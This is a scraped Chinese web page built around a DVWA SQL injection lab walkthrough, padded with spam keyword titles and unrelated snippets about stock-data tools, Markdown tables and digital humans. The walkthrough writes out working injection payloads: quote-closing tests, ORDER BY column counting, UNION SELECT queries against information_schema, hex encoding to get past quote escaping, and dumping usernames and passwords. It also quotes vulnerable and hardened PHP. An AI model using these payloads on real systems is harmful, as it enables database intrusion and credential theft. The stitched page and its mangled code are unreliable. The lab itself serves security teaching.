佛山网站建设服务器南京网络推广公司排行榜

张小明 2026/1/19 19:13:17
佛山网站建设服务器,南京网络推广公司排行榜,营销型网站是啥,中医网站建设素材DVWA -SQL Injection-通关教程-完结 SQL注入是一种攻击者通过在应用程序的输入字段中插入恶意SQL代码#xff0c;从而操纵后端数据库查询的攻击技术。如果应用程序未对用户输入进行适当过滤#xff0c;这些恶意SQL代码会被数据库执行#xff0c;导致数据泄露、篡改或破坏。 …DVWA -SQL Injection-通关教程-完结SQL注入是一种攻击者通过在应用程序的输入字段中插入恶意SQL代码从而操纵后端数据库查询的攻击技术。如果应用程序未对用户输入进行适当过滤这些恶意SQL代码会被数据库执行导致数据泄露、篡改或破坏。文章目录DVWA -SQL Injection-通关教程-完结Low级别SQL注入攻击实战1、页面功能测试2、SQL注入攻击Medium级别SQL注入攻击实战High级别SQL注入攻击实战Impossible 级别SQL注入攻击Low级别SQL注入攻击实战1、页面功能测试1.安全级别设置为Low点击SQL Injection进入SQL注入攻击页面。发现该页面是个查询随意输入一个ID值可以查询First name和Surname2、SQL注入攻击1.判断字符型还是数字型最终结果确定为字符型1 //测试闭合符 1and11-- //验证注入点1 and12-- //确认漏洞可利用性2.判断字段数最终字段数为2使用order by进行判断字段数 至到order by进行报错时候就是字段数。1 or 11 order by 1 # 1or11order by2#1 or11order by3#3.确定显示的字段顺序1 unionselect1,2#Firstname位置返回1字段surname位置返回2字段4.获取当前数据库1 unionselect1,database()#在2字段位置返回数据库名称其他常用函数用户权限user(), current_user()版本系统version()字符串处理concat(), substring(), ascii(), hex()文件操作load_file(), into outfile()需权限 盲注相关sleep(), benchmark(), if()时间函数now(), current_timestamp()5.获取数据库中的表1 unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemadatabase()#得到两张表分别是guestbook和users注入语句详解1​ //闭合原查询 union select​ //联合查询 group_concat()​ //聚合函数 group_concat(column_name)-- 将多行合并为一行 group_concat(table_name)-- 将所有表名合并 from information_schema.tables​ //元数据表 information_schema.tables表结构 ----------------------------------|字段名|描述|----------------------------------|TABLE_SCHEMA|数据库名||TABLE_NAME|表名||TABLE_TYPE|表类型||ENGINE|存储引擎||TABLE_ROWS|行数||AVG_ROW_LENGTH|平均行长度||DATA_LENGTH|数据长度||CREATE_TIME|创建时间||UPDATE_TIME|更新时间|---------------------------------- 为什么用这个表 包含所有数据库、表、列的元数据 标准SQL所有MySQL版本都支持 普通用户有只读权限 是获取数据库结构的标准方法 wheretable_schemadatabase()​ - 过滤条件 table_schema字段存储数据库名称,用于区分不同数据库中的同名表 database()函数返回当前选中的数据库名称#​ //注释符,注释掉原SQL的剩余部分6.获取字段名1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#说明users表中有8个字段分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login注入语句详解1​ //闭合前面的SQL语句,结束原来的查询条件 union select 1, //添加一个新的查询,数字1是占位符用来匹配原查询的列数 group_concat(column_name)​ ✅ 核心功能 //group_concat()​ 把多个值合并成一个字符串 //column_name​ 列名 //合起来把所有列名合并成一行显示 from information_schema.columns\ //information_schema.columns​ MySQL的系统表 //这个表里存储了所有表的所有列信息 where table_nameusers //只查询表名等于users的表,也就是只获取users表的列信息#//注释符号,把后面没用的SQL代码都忽略掉7.获取数据1 or12unionselectuser, password fromusers#Medium级别SQL注入攻击实战1.安全级别设置为Medium进入SQL注入攻击页面发现在前端页面设置了下拉选择表单控制用户输入。虽然前端使用了下拉选择菜单但我们依然可以通过抓包改参数提交恶意构造的查询参数。1.判断注入类型因为前端使用下拉菜单所以得通过抓包修改参数。这里有两个办法每次都进行抓包修改或者使用BurpSuite的Repeater模块1 //测试闭合符1and11-- //验证注入点1and12-- //确认漏洞可利用性2.猜测字段数确定回显字段顺序获取当前数据库获取数据库中的表这四部分操作与Low级别差别不大这里只附上相关语句1unionselect1,2#1unionselectdatabase(),version()#1unionselect1,group_concat(table_name)from information_schema.tables wheretable_schemadatabase()#3.获取表中字段名1unionselect1,group_concat(column_name)from information_schema.columns wheretable_nameusers#按照原来的思路构建了语句但是发生了错误是因为单引号被转义利用十六进制绕过。字符串-16进制转换在线工具1unionselect1,group_concat(column_name)from information_schema.columns wheretable_name0x7573657273#4.获取数据1unionselectuser,password fromusers#High级别SQL注入攻击实战1.设置安全级别为High进入SQL注入攻击页面页面使用了读显分离有效的防止了SQLMap等自动化工具的使用。代码审计?phpif(isset($_SESSION[id])){// Get input$id$_SESSION[id];// Check database$querySELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;;//LIMIT 1是一个SQL查询中的限制语句用于指定查询结果集中的最大行数。在这段代码中它用于限制查询结果只返回一行数据即根据会话ID获取用户的名字和姓氏。//使用LIMT1可以提高查询效率并避免在查询结果集中返回大量数据$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(preSomething went wrong./pre);// Get resultswhile($rowmysqli_fetch_assoc($result)){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}((is_null($___mysqli_resmysqli_close($GLOBALS[___mysqli_ston])))?false:$___mysqli_res);}?绕过方式虽然添加了LIMIT 1但是可以通过#将其注释掉。注入过程和之前类似在这里不做额外演示。Impossible 级别SQL注入攻击查看页面源码这段代码也使用了PDO技术划清了代码与数据的界限有效防御SQL注入同时只有返回的查询结果数量为一时才会成功输出这样就有效预防了“脱裤”Anti-CSRFtoken机制的加入了进一步提高了安全性。?phpif(isset($_GET[Submit])){// Check Anti-CSRF token//isset()用于检查变量是否已设置并且非 NULL。checkToken($_REQUEST[user_token],$_SESSION[session_token],index.php);/*checkToken() 是一个自定义函数用于检查传递的安全令牌是否有效以确保请求不是恶意伪造的。 该函数接受三个参数 user_token从用户请求中接收的安全令牌。 session_token存储在用户会话中的安全令牌。 redirect重定向的页面 URL。 该函数将首先检查 user_token 和 session_token 是否匹配。如果不匹配则可能是 CSRF 攻击该函数将终止脚本并打印错误消息。如果匹配则函数将返回 true。 该函数通常用于处理任何可能受到 CSRF 攻击的操作例如表单提交。它是一种常见的安全技术以确保请求来自预期的来源并且用户已经授权执行请求的操作。*? */// Get input$id$_GET[id];// Was a number entered?//is_numeric用于检查一个值是否为数字或数字字符串。如果值为数字或数字字符串则该函数返回 true否则返回 false。if(is_numeric($id)){$idintval($id);switch($_DVWA[SQLI_DB]){caseMYSQL:// Check the database$data$db-prepare(SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1;);$data-bindParam(:id,$id,PDO::PARAM_INT);$data-execute();$row$data-fetch();// Make sure only 1 result is returnedaif($data-rowCount()1){// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}break;caseSQLITE:global$sqlite_db_connection;$stmt$sqlite_db_connection-prepare(SELECT first_name, last_name FROM users WHERE user_id :id LIMIT 1;);$stmt-bindValue(:id,$id,SQLITE3_INTEGER);$result$stmt-execute();$result-finalize();if($result!false){// There is no way to get the number of rows returned// This checks the number of columns (not rows) just// as a precaution, but it wont stop someone dumping// multiple rows and viewing them one at a time.$num_columns$result-numColumns();if($num_columns2){$row$result-fetchArray();// Get values$first$row[first_name];$last$row[last_name];// Feedback for end userechopreID:{$id}br /First name:{$first}br /Surname:{$last}/pre;}}break;}}}// Generate Anti-CSRF tokengenerateSessionToken();?
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

网站如何申请html在线编辑器预览网页版

还在为获取股票数据而烦恼吗?pywencai这款工具将彻底改变你的数据获取方式!作为一款专为Python用户设计的同花顺问财数据获取工具,它能让你用几行代码就轻松获取专业的财经数据,无论是量化研究还是数据分析,都能事半功…

张小明 2026/1/17 18:25:31 网站建设

paypal网站做外贸请人做个网页大概需要多少钱

Markdown表格对齐技巧:Miniconda-Python3.10中pandas输出美化方案 在撰写技术文档、实验报告或项目复盘时,你是否曾遇到这样的尴尬?精心分析的数据结果,一粘贴到 Markdown 文档里,表格就“散架”了——列宽错乱、数字没…

张小明 2026/1/17 18:25:32 网站建设

吴忠市建设工程质量监督站网站荥阳seo推广

Linly-Talker深度解析:语音克隆与表情同步技术揭秘 在短视频、直播带货和智能客服日益普及的今天,企业对高效、个性化内容生成的需求达到了前所未有的高度。然而,传统数字人制作依赖昂贵的动作捕捉设备和专业动画师,流程复杂、周期…

张小明 2026/1/18 22:23:47 网站建设

网站管理难做吗做网站行业

2025 热门 AI 论文工具哪个好?6 款适配 LaTeX 模板与论文格式规范六款热门 AI 论文工具对比总结以下是2025年热门AI论文工具的快速对比,帮助您在写作论文时选择合适工具。这六款工具均支持LaTeX模板和论文格式规范,适配性强。总结基于核心功能…

张小明 2026/1/17 18:25:33 网站建设

襄阳定制型网站开发vue seo优化

青岛黄海学院毕业设计(论文)开题报告题目名称:基于协同过滤护肤品推荐系统的设计与实现学 院:大数据学院专 业:学生姓名:学 号:指导教师:职称/学历:2024年12月1…

张小明 2026/1/17 18:25:33 网站建设

建网站的企业企业宣传网站系统建设方案

第一章:PHP低代码组件属性绑定概述在现代Web开发中,低代码平台通过可视化界面和声明式语法显著提升了开发效率。PHP作为服务端的重要语言,结合低代码框架可实现动态组件的快速构建与属性绑定。属性绑定是连接UI组件与后端数据的核心机制&…

张小明 2026/1/17 18:25:34 网站建设